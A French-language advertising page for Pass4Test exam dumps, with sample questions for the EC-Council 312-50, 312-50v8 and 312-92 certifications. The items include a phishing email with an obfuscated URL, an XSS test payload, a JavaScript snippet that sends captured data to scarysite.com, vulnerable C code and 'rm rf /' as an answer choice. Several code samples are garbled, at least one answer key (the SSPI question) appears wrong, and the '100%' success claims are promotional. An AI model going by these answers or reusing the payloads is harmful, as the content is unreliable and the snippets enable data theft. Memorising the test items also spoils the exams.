Le meilleur matériel de formation examen EC-COUNCIL 312-50

Le test EC-COUNCIL 312-50 est populaire dans l'Industrie IT. Il y a beaucoup de professionnels IT veulent ce passport de IT. Votre vie et salaire sera améliorée avec ce Certificat. Vous aurez une meilleure assurance.

Le test EC-COUNCIL 312-50 est l'un très improtant dans tous les tests de Certification EC-COUNCIL, mais c'est toujours difficile à obtenir ce Certificat. La présence de Pass4Test est pour soulager les candidats. L'équipe de Pass4Test peut vous aider à économiser le temps et l'éffort. Vous pouvez passer le test sans aucune doute sous l'aide de notre Q&A.

Il y a plusieurs de façons pour réussir le test EC-COUNCIL 312-50, vous pouvez travailler dur et dépenser beaucoup d'argents, ou vous pouvez travailler plus efficacement avec moins temps dépensés.

L'équipe de Pass4Test autorisée offre sans arrêt les bonnes resources aux candidats de test Certification EC-COUNCIL 312-50. Les documentations particulièrement visée au test EC-COUNCIL 312-50 aide beaucoup de candidats. La Q&A de la version plus nouvelle est lancée maintenant. Vous pouvez télécharger le démo gratuit en Internet. Généralement, vous pouvez réussir le test 100% avec l'aide de Pass4Test, c'est un fait preuvé par les professionnels réputés IT. Ajoutez le produit au panier, vous êtes l'ensuite à réussir le test EC-COUNCIL 312-50.

Code d'Examen: 312-50
Nom d'Examen: EC-COUNCIL (Ethical Hacker Certified)
Questions et réponses: 765 Q&As

Dans cette Industrie IT intense, le succès de test EC-COUNCIL 312-50 peut augmenter le salaire. Les gens d'obtenir le Certificat EC-COUNCIL 312-50 peuvent gagner beaucoup plus que les gens sans Certificat EC-COUNCIL 312-50. Le problème est comment on peut réussir le test plus facile?

La solution offerte par Pass4Test comprenant un test simulation bien proche de test réel EC-COUNCIL 312-50 peut vous assurer à réussir 100% le test EC-COUNCIL 312-50. D'ailleur, le service de la mise à jour gratuite est aussi pour vous. Maintenant, vous pouvez télécharger le démo gratuit pour prendre un essai.

Pass4Test est un bon catalyseur du succès pour les professionnels IT. Beaucoup de gens passer le test EC-COUNCIL 312-50 avec l'aide de l'outil formation. Les experts profitent leurs expériences riches et connaissances à faire sortir la Q&A EC-COUNCIL 312-50 plus nouvelle qui comprend les exercices de pratiquer et le test simulation. Vous pouvez passer le test EC-COUNCIL 312-50 plus facilement avec la Q&A de Pass4Test.

312-50 Démo gratuit à télécharger: http://www.pass4test.fr/312-50.html

NO.1 What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Answer: A

EC-COUNCIL   312-50   312-50   312-50 examen   312-50

NO.2 A very useful resource for passively gathering information about a target company
is:
A. Host scanning
B. Whois search
C. Traceroute
D. Ping sweep
Answer: B

certification EC-COUNCIL   312-50   312-50   certification 312-50

NO.3 Which one of the following is defined as the process of distributing incorrect
Internet Protocol (IP) addresses/names with the intent of diverting traffic?
A. Network aliasing
B. Domain Name Server (DNS) poisoning
C. Reverse Address Resolution Protocol (ARP)
D. Port scanning
Answer: B

EC-COUNCIL examen   312-50 examen   certification 312-50   312-50 examen   certification 312-50

NO.4 How does Traceroute map the route that a packet travels from point A to point B?
A. It uses a TCP Timestamp packet that will elicit a time exceed in transit message.
B. It uses a protocol that will be rejected at the gateways on its way to its destination.
C. It manipulates the value of time to live (TTL) parameter packet to elicit a time
exceeded in transit message.
D. It manipulated flags within packets to force gateways into generating error messages.
Answer: C

EC-COUNCIL examen   certification 312-50   312-50   312-50   312-50

NO.5 What is the essential difference between an 'Ethical Hacker' and a 'Cracker'?
A. The ethical hacker does not use the same techniques or skills as a cracker.
B. The ethical hacker does it strictly for financial motives unlike a cracker.
C. The ethical hacker has authorization from the owner of the target.
D. The ethical hacker is just a cracker who is getting paid.
Answer: C

certification EC-COUNCIL   312-50 examen   certification 312-50   312-50 examen   certification 312-50

NO.6 What does the term "Ethical Hacking" mean?
A. Someone who is hacking for ethical reasons.
B. Someone who is using his/her skills for ethical reasons.
C. Someone who is using his/her skills for defensive purposes.
D. Someone who is using his/her skills for offensive purposes.
Answer: C

EC-COUNCIL   312-50   312-50   312-50 examen   certification 312-50

NO.7 Which of the following activities will NOT be considered as passive footprinting?
A. Go through the rubbish to find out any information that might have been discarded.
B. Search on financial site such as Yahoo Financial to identify assets.
C. Scan the range of IP address found in the target DNS database.
D. Perform multiples queries using a search engine.
Answer: C

EC-COUNCIL   312-50   312-50   312-50   312-50

NO.8 You are footprinting Acme.com to gather competitive intelligence. You visit the
acme.com websire for contact information and telephone number numbers but do
not find it listed there. You know that they had the entire staff directory listed on
their website 12 months ago but now it is not there. How would it be possible for you
to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL examen   312-50   312-50   312-50 examen   312-50   312-50

NO.9 What are the two basic types of attacks?(Choose two.
A. DoS
B. Passive
C. Sniffing
D. Active
E. Cracking
Answer: B, D

EC-COUNCIL   312-50 examen   312-50

NO.10 Which of the following tools are used for footprinting?(Choose four.
A. Sam Spade
B. NSLookup
C. Traceroute
D. Neotrace
E. Cheops
Answer: A, B, C, D

EC-COUNCIL examen   certification 312-50   312-50   certification 312-50

NO.11 Your Certkiller trainee Sandra asks you which are the four existing Regional
Internet Registry (RIR's)?
A. APNIC, PICNIC, ARIN, LACNIC
B. RIPE NCC, LACNIC, ARIN, APNIC
C. RIPE NCC, NANIC, ARIN, APNIC
D. RIPE NCC, ARIN, APNIC, LATNIC
Answer: B

EC-COUNCIL examen   312-50   312-50 examen   certification 312-50   312-50

NO.12 To what does "message repudiation" refer to what concept in the realm of email
security?
A. Message repudiation means a user can validate which mail server or servers a message
was passed through.
B. Message repudiation means a user can claim damages for a mail message that
damaged their reputation.
C. Message repudiation means a recipient can be sure that a message was sent from a
particular person.
D. Message repudiation means a recipient can be sure that a message was sent from a
certain host.
E. Message repudiation means a sender can claim they did not actually send a particular
message.
Answer: E

EC-COUNCIL   312-50   312-50

NO.13 A Certkiller security System Administrator is reviewing the network system log files.
He notes the following:
- Network log files are at 5 MB at 12:00 noon.
-At 14:00 hours, the log files at 3 MB.
What should he assume has happened and what should he do about the situation?
A. He should contact the attacker's ISP as soon as possible and have the connection
disconnected.
B. He should log the event as suspicious activity, continue to investigate, and take further
steps according to site security policy.
C. He should log the file size, and archive the information, because the router crashed.
D. He should run a file system check, because the Syslog server has a self correcting file
system problem.
E. He should disconnect from the Internet discontinue any further unauthorized use,
because an attack has taken place.
Answer: B

certification EC-COUNCIL   312-50   312-50 examen   312-50

NO.14 Who is an Ethical Hacker?
A. A person whohacksfor ethical reasons
B. A person whohacksfor an ethical cause
C. A person whohacksfor defensive purposes
D. A person whohacksfor offensive purposes
Answer: C

EC-COUNCIL   312-50 examen   312-50   312-50 examen

NO.15 According to the CEH methodology, what is the next step to be performed after
footprinting?
A. Enumeration
B. Scanning
C. System Hacking
D. Social Engineering
E. Expanding Influence
Answer: B

certification EC-COUNCIL   certification 312-50   312-50 examen   certification 312-50

NO.16 User which Federal Statutes does FBI investigate for computer crimes involving
e-mail scams and mail fraud?
A. 18 U.S.C 1029 Possession of Access Devices
B. 18 U.S.C 1030 Fraud and related activity in connection with computers
C. 18 U.S.C 1343 Fraud by wire, radio or television
D. 18 U.S.C 1361 Injury to Government Property
E. 18 U.S.C 1362 Government communication systems
F. 18 U.S.C 1831 Economic Espionage Act
G. 18 U.S.C 1832 Trade Secrets Act
Answer: B

EC-COUNCIL   312-50 examen   312-50

NO.17 Snort has been used to capture packets on the network. On studying the packets, the
penetration tester finds it to be abnormal. If you were the penetration tester, why
would you find this abnormal?
(Note: The student is being tested on concept learnt during passive OS
fingerprinting, basic TCP/IP connection concepts and the ability to read packet
signatures from a sniff dumo.)
05/20-17:06:45.061034 192.160.13.4:31337 -> 172.16.1.101:1
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seq: 0XA1D95 Ack: 0x53 Win: 0x400
...
05/20-17:06:58.685879 192.160.13.4:31337 ->
172.16.1.101:1024
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seg: 0XA1D95 Ack: 0x53 Win: 0x400
What is odd about this attack? (Choose the most appropriate statement)
A. This is not a spoofed packet as the IP stack has increasing numbers for the three flags.
B. This is back orifice activity as the scan comes from port 31337.
C. The attacker wants to avoid creating a sub-carrier connection that is not normally
valid.
D. There packets were created by a tool; they were not created by a standard IP stack.
Answer: B

EC-COUNCIL   312-50 examen   312-50   312-50 examen

NO.18 You receive an email with the following message:
Hello Steve,
We are having technical difficulty in restoring user database record after the recent
blackout. Your account data is corrupted. Please logon to the SuperEmailServices.com
and change your password.
http://www.supermailservices.com@0xde.0xad.0xbe.0xef/support/logon.htm
If you do not reset your password within 7 days, your account will be permanently
disabled locking you out from our e-mail services.
Sincerely,
Technical Support
SuperEmailServices
From this e-mail you suspect that this message was sent by some hacker since you
have been using their e-mail services for the last 2 years and they have never sent
out an e-mail such as this. You also observe the URL in the message and confirm
your suspicion about 0xde.0xad.0xbde.0xef which looks like hexadecimal numbers.
You immediately enter the following at Windows 2000 command prompt:
Ping0xde.0xad.0xbe.0xef
You get a response with a valid IP address.
What is the obstructed IP address in the e-mail URL?
A. 222.173.190.239
B. 233.34.45.64
C. 54.23.56.55
D. 199.223.23.45
Answer: A

EC-COUNCIL examen   312-50 examen   certification 312-50

NO.19 Where should a security tester be looking for information that could be used by an
attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites
E. Search engines
F. Organization's own web site
Answer: A, B, C, D, E, F

certification EC-COUNCIL   312-50 examen   312-50   certification 312-50

NO.20 You are footprinting an organization to gather competitive intelligence. You visit
the company's website for contact information and telephone numbers but do not
find it listed there. You know that they had the entire staff directory listed on their
website 12 months ago but not it is not there.
How would it be possible for you to retrieve information from the website that is
outdated?
A. Visit google's search engine and view the cached copy.
B. Visit Archive.org web site to retrieve the Internet archive of the company's website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

certification EC-COUNCIL   312-50   312-50 examen   312-50

Pass4Test est un site particulier d'offrir la formation à propos de test Certification IT. C'est un bon choix pour vous aider à réussir le test EC-COUNCIL 312-50. Pass4Test offre toutes les informations et les documentations plus nouvelles qui peut vous donner plus de chances à réussir le test.

Pass4Test offre une formation sur EC-COUNCIL 312-50v8 matériaux examen

Le test EC-COUNCIL 312-50v8 est le premier pas pour promouvoir dans l'Industrie IT, mais aussi la seule rue ramenée au pic de succès. Le test EC-COUNCIL 312-50v8 joue un rôle très important dans cette industrie. Et aussi, Pass4Test est un chaînon inevitable pour réussir le test sans aucune doute.

Vous pouvez télécharger tout d'abord le démo gratuit pour prendre un essai. Vous serez confiant davantage sur Pass4Test après l'essai de démo. Vous allez réussir le test EC-COUNCIL 312-50v8 sans aucune doute si vous choisissez le Pass4Test.

Pass4Test, où vous pouvez trouver les conseils et les documentations de test Certification EC-COUNCIL 312-50v8, est un siteweb remarquable offrant les données à préparer le test IT. Les documentations partiels et les mis en nouveau sont offerts gratuitement dans le site de Pass4Test. D'ailleurs, nos experts profitent de leurs expériences et leurs efforts à lancer sans arrêts les Q&A plus proches au test réel. Vous allez passer votre examen plus facile.

Pass4Test est un site particulier d'offrir la formation à propos de test Certification IT. C'est un bon choix pour vous aider à réussir le test EC-COUNCIL 312-50v8. Pass4Test offre toutes les informations et les documentations plus nouvelles qui peut vous donner plus de chances à réussir le test.

Code d'Examen: 312-50v8
Nom d'Examen: EC-COUNCIL (Certified Ethical Hacker v8)
Questions et réponses: 880 Q&As

Passer le test EC-COUNCIL 312-50v8, obtenir le Passport peut améliorer la perspective de votre carrière et vous apporter plus de chances à développer votre boulot. Pass4Test est un site très convenable pour les candidats de test Certification EC-COUNCIL 312-50v8. Ce site peut offrir les informations plus nouvelles et aussi provider les bonnes chances à se former davantage. Ce sont les points essentiels pour votre succès de test Certification EC-COUNCIL 312-50v8.

Nous assurons seulement le succès de test certification, mais encore la mise à jour est gratuite pour vous. Si vous ne pouvez pas passer le test, votre argent sera 100% rendu. Toutefois, cette possibilité n'est presque pas de se produire. Vous pouvez tout d'abord télécharger le démo gratuit pour prendre un essai.

312-50v8 Démo gratuit à télécharger: http://www.pass4test.fr/312-50v8.html

NO.1 WEP is used on 802.11 networks, what was it designed for?
A. WEP is designed to provide a wireless local area network (WLAN) with a level of security and
privacy comparable to what it usually expected of a wired LAN.
B. WEP is designed to provide strong encryption to a wireless local area network (WLAN) with a
lever of integrity and privacy adequate for sensible but unclassified information.
C. WEP is designed to provide a wireless local area network (WLAN) with a level of availability
and privacy comparable to what is usually expected of a wired LAN.
D. WEOP is designed to provide a wireless local area network (WLAN) with a level of privacy
comparable to what it usually expected of a wired LAN.
Answer: A

EC-COUNCIL examen   312-50v8   312-50v8   certification 312-50v8

NO.2 Harold is the senior security analyst for a small state agency in New York. He has no other
security professionals that work under him, so he has to do all the security-related tasks for the
agency. Coming from a computer hardware background, Harold does not have a lot of experience
with security methodologies and technologies, but he was the only one who applied for the
position. Harold is currently trying to run a Sniffer on the agency's network to get an idea of what
kind of traffic is being passed around, but the program he is using does not seem to be capturing
anything. He pours through the Sniffer's manual, but cannot find anything that directly relates to
his problem. Harold decides to ask the network administrator if he has any thoughts on the
problem. Harold is told that the Sniffer was not working because the agency's network is a
switched network, which cannot be sniffed by some programs without some tweaking. What
technique could Harold use to sniff his agency's switched network?
A. ARP spoof the default gateway
B. Conduct MiTM against the switch
C. Launch smurf attack against the switch
D. Flood the switch with ICMP packets
Answer: A

EC-COUNCIL examen   312-50v8   312-50v8 examen

NO.3 Bart is looking for a Windows NT/ 2000/XP command-line tool that can be used to assign,
display,
or modify ACL’s (access control lists) to files or folders and also one that can be used within batch
files.
Which of the following tools can be used for that purpose? (Choose the best answer)
A. PERM.exe
B. CACLS.exe
C. CLACS.exe
D. NTPERM.exe
Answer: B

EC-COUNCIL   312-50v8   312-50v8

NO.4 You are the CIO for Avantes Finance International, a global finance company based in Geneva.
You are responsible for network functions and logical security throughout the entire corporation.
Your company has over 250 servers running Windows Server, 5000 workstations running
Windows Vista, and 200 mobile users working from laptops on Windows 7.
Last week, 10 of your company's laptops were stolen from salesmen while at a conference in
Amsterdam. These laptops contained proprietary company information. While doing damage
assessment on the possible public relations nightmare this may become, a news story leaks about
the stolen laptops and also that sensitive information from those computers was posted to a blog
online.
What built-in Windows feature could you have implemented to protect the sensitive information on
these laptops?
A. You should have used 3DES which is built into Windows
B. If you would have implemented Pretty Good Privacy (PGP) which is built into Windows,the
sensitive information on the laptops would not have leaked out
C. You should have utilized the built-in feature of Distributed File System (DFS) to protect the
sensitive information on the laptops
D. You could have implemented Encrypted File System (EFS) to encrypt the sensitive files on the
laptops
Answer: D

EC-COUNCIL examen   312-50v8 examen   312-50v8   312-50v8   312-50v8 examen

NO.5 You just purchased the latest DELL computer, which comes pre-installed with Windows 7,
McAfee antivirus software and a host of other applications. You want to connect Ethernet wire to
your cable modem and start using the computer immediately. Windows is dangerously insecure
when unpacked from the box, and there are a few things that you must do before you use it.
A. New installation of Windows should be patched by installing the latest service packs and
hotfixes
B. Key applications such as Adobe Acrobat,Macromedia Flash,Java,Winzip etc.,must have the
latest security patches installed
C. Install a personal firewall and lock down unused ports from connecting to your computer
D. Install the latest signatures for Antivirus software
E. Configure "Windows Update" to automatic
F. Create a non-admin user with a complex password and logon to this account
G. You can start using your computer as vendors such as DELL,HP and IBM would have already
installed the latest service packs.
Answer: A,C,D,E,F

certification EC-COUNCIL   certification 312-50v8   certification 312-50v8   312-50v8

NO.6 A security analyst in an insurance company is assigned to test a new web application that will
be
used by clients to help them choose and apply for an insurance plan. The analyst discovers that
the application is developed in ASP scripting language and it uses MSSQL as a database
backend. The analyst locates the application's search form and introduces the following code in
the search input fielD.
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC"
originalPath="vbscript:msgbox("Vulnerable");>"
When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".
Which web applications vulnerability did the analyst discover?
A. Cross-site request forgery
B. Command injection
C. Cross-site scripting
D. SQL injection
Answer: C

certification EC-COUNCIL   312-50v8   312-50v8 examen   312-50v8

NO.7 Which of the following is an automated vulnerability assessment tool?
A. Whack a Mole
B. Nmap
C. Nessus
D. Kismet
E. Jill32
Answer: C

EC-COUNCIL   312-50v8   certification 312-50v8   312-50v8 examen

Dépenser assez de temps et d'argent pour réussir le test EC-COUNCIL 312-50v8 ne peut pas vous assurer à passer le test EC-COUNCIL 312-50v8 sans aucune doute. Choisissez le Pass4Test, moins d'argent coûtés mais plus sûr pour le succès de test. Dans cette société, le temps est tellement précieux que vous devez choisir un bon site à vous aider. Choisir le Pass4Test symbole le succès dans le future.

Les meilleures EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 examen pratique questions et réponses

Dépenser assez de temps et d'argent pour réussir le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 ne peut pas vous assurer à passer le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 sans aucune doute. Choisissez le Pass4Test, moins d'argent coûtés mais plus sûr pour le succès de test. Dans cette société, le temps est tellement précieux que vous devez choisir un bon site à vous aider. Choisir le Pass4Test symbole le succès dans le future.

Si vous voulez ne se soucier plus à passer le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92, donc vous devez prendre la Q&A de Pass4Test comme le guide d'étude pendant la préparation de test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92. C'est une bonne affaire parce que un petit invertissement peut vous rendre beaucoup. Utiliser la Q&A EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 offerte par Pass4Test peut vous assurer à réussir le test 100%. Pass4Test a toujours une bonne réputation dans l'Industrie IT.

Code d'Examen: 312-50v8
Nom d'Examen: EC-COUNCIL (Certified Ethical Hacker v8)
Questions et réponses: 880 Q&As

Code d'Examen: EC1-349
Nom d'Examen: EC-COUNCIL (Computer Hacking Forensic Investigator Exam)
Questions et réponses: 180 Q&As

Code d'Examen: 312-49v8
Nom d'Examen: EC-COUNCIL (Computer Hacking Forensic Investigator Exam)
Questions et réponses: 180 Q&As

Code d'Examen: 312-92
Nom d'Examen: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Questions et réponses: 99 Q&As

Bien qu'Il y ait plein de talentueux dans cette société, il manque beaucoup de professionnels dans les domaine en cours de développement, l'Industrie IT est l'un de ces domaines. Donc le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 est un bon l'examination de technique informatique. Pass4Test est un site d'offrir la formation particulière au test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92.

Les experts de Pass4Test profitent de leurs expériences et connaissances à augmenter successivement la qualité des docmentations pour répondre une grande demande des candidats, juste pour que les candidats soient permis à réussir le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92 par une seule fois. Vous allez avoir les infos plus proches de test réel à travers d'acheter le produti de Pass4Test. Notre confiance sont venue de la grande couverture et la haute précision de nos Q&As. 100% précision des réponses vous donnent une confiance 100%. Vous n'auriez pas aucun soucis avant de participer le test.

Vous pouvez trouver un meilleur boulot dans l'industrie IT à travers d'obtenir le test EC-COUNCIL 312-50v8 EC1-349 312-49v8 312-92, la voie à la réussite de votre professionnel sera ouverte pour vous.

312-92 Démo gratuit à télécharger: http://www.pass4test.fr/312-92.html

NO.1 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

certification EC-COUNCIL   312-92   312-92 examen

NO.2 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL   312-92   certification 312-92

NO.3 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

EC-COUNCIL examen   312-92 examen   312-92 examen   312-92 examen

NO.4 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL examen   312-92   certification 312-92   312-92

NO.5 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

certification EC-COUNCIL   312-92   certification 312-92   312-92

NO.6 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL   certification 312-92   312-92   312-92

NO.7 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL   certification 312-92   312-92 examen   certification 312-92   312-92

NO.8 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL   312-92 examen   312-92   312-92   312-92 examen

NO.9 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL examen   312-92   certification 312-92   312-92   312-92 examen

NO.10 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL   312-92 examen   certification 312-92

NO.11 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

EC-COUNCIL   312-92   312-92 examen   312-92 examen

NO.12 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

certification EC-COUNCIL   312-92   312-92   certification 312-92   312-92

NO.13 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

certification EC-COUNCIL   312-92 examen   certification 312-92

NO.14 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL   312-92   312-92 examen   certification 312-92   312-92

NO.15 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL examen   312-92   certification 312-92   312-92 examen

Certification EC-COUNCIL de téléchargement gratuit pratique d'examen 312-50, questions et réponses

Pass4Test est un site à offrir les Q&As de tout les tests Certification IT. Chez Pass4Test, vous pouvez trouvez de meilleurs matériaux. Nos guides d'étude vous permettent de réussir le test Certification EC-COUNCIL 312-50 sans aucune doute, sinon nous allons rendre votre argent d'acheter la Q&A et la mettre à jour tout de suite, en fait, c'est une situation très rare. Bien que il existe plusieurs façons à améliorer votre concurrence de carrière, Pass4Test est lequel plus efficace : Moins d'argent et moins de temps dépensés, plus sûr à passer le test Certification. De plus, un an de service après vendre est gratuit pour vous.

Finalement, la Q&A EC-COUNCIL 312-50 plus nouvelle est lancé avec tous efforts des experts de Pass4Test. Aujourd'hui, dans l'Industrie de IT, si on veut se renforcer sa place, il faut se preuve la professionnalité aux les autres. Le test EC-COUNCIL 312-50 est une bonne examination des connaissances professionnelles. Avec le passport de la Certification EC-COUNCIL, vous aurez un meilleur salaire et une plus grande space à se développer.

Pass4Test vous permet à réussir le test Certification sans beaucoup d'argents et de temps dépensés. La Q&A EC-COUNCIL 312-50 est recherchée par Pass4Test selon les résumés de test réel auparavant, laquelle est bien liée avec le test réel.

Code d'Examen: 312-50
Nom d'Examen: EC-COUNCIL (Ethical Hacker Certified)
Questions et réponses: 765 Q&As

Participer au test EC-COUNCIL 312-50 est un bon choix, parce que dans l'Industire IT, beaucoup de gens tirent un point de vue que le Certificat EC-COUNCIL 312-50 symbole bien la professionnalité d'un travailleur dans cette industrie.

La Q&A EC-COUNCIL 312-50 de Pass4Test est liée bien avec le test réel de EC-COUNCIL 312-50. La mise à jour gratuite est pour vous après vendre. Nous avons la capacité à vous assurer le succès de test EC-COUNCIL 312-50 100%. Si malheureusement vous échouerez le test, votre argent sera tout rendu.

Vous pouvez trouver un meilleur boulot dans l'industrie IT à travers d'obtenir le test EC-COUNCIL 312-50, la voie à la réussite de votre professionnel sera ouverte pour vous.

Dans cette société de plus en plus intense, nous vous proposons à choisir une façon de se former plus efficace : moins de temps et d'argent dépensé. Pass4Test peut vous offrir une bonne solution avec une plus grande space à développer.

312-50 Démo gratuit à télécharger: http://www.pass4test.fr/312-50.html

NO.1 What are the two basic types of attacks?(Choose two.
A. DoS
B. Passive
C. Sniffing
D. Active
E. Cracking
Answer: B, D

EC-COUNCIL   312-50 examen   312-50

NO.2 Which one of the following is defined as the process of distributing incorrect
Internet Protocol (IP) addresses/names with the intent of diverting traffic?
A. Network aliasing
B. Domain Name Server (DNS) poisoning
C. Reverse Address Resolution Protocol (ARP)
D. Port scanning
Answer: B

certification EC-COUNCIL   312-50 examen   certification 312-50   certification 312-50

NO.3 Which of the following tools are used for footprinting?(Choose four.
A. Sam Spade
B. NSLookup
C. Traceroute
D. Neotrace
E. Cheops
Answer: A, B, C, D

EC-COUNCIL examen   certification 312-50   312-50 examen   312-50   312-50   certification 312-50

NO.4 You receive an email with the following message:
Hello Steve,
We are having technical difficulty in restoring user database record after the recent
blackout. Your account data is corrupted. Please logon to the SuperEmailServices.com
and change your password.
http://www.supermailservices.com@0xde.0xad.0xbe.0xef/support/logon.htm
If you do not reset your password within 7 days, your account will be permanently
disabled locking you out from our e-mail services.
Sincerely,
Technical Support
SuperEmailServices
From this e-mail you suspect that this message was sent by some hacker since you
have been using their e-mail services for the last 2 years and they have never sent
out an e-mail such as this. You also observe the URL in the message and confirm
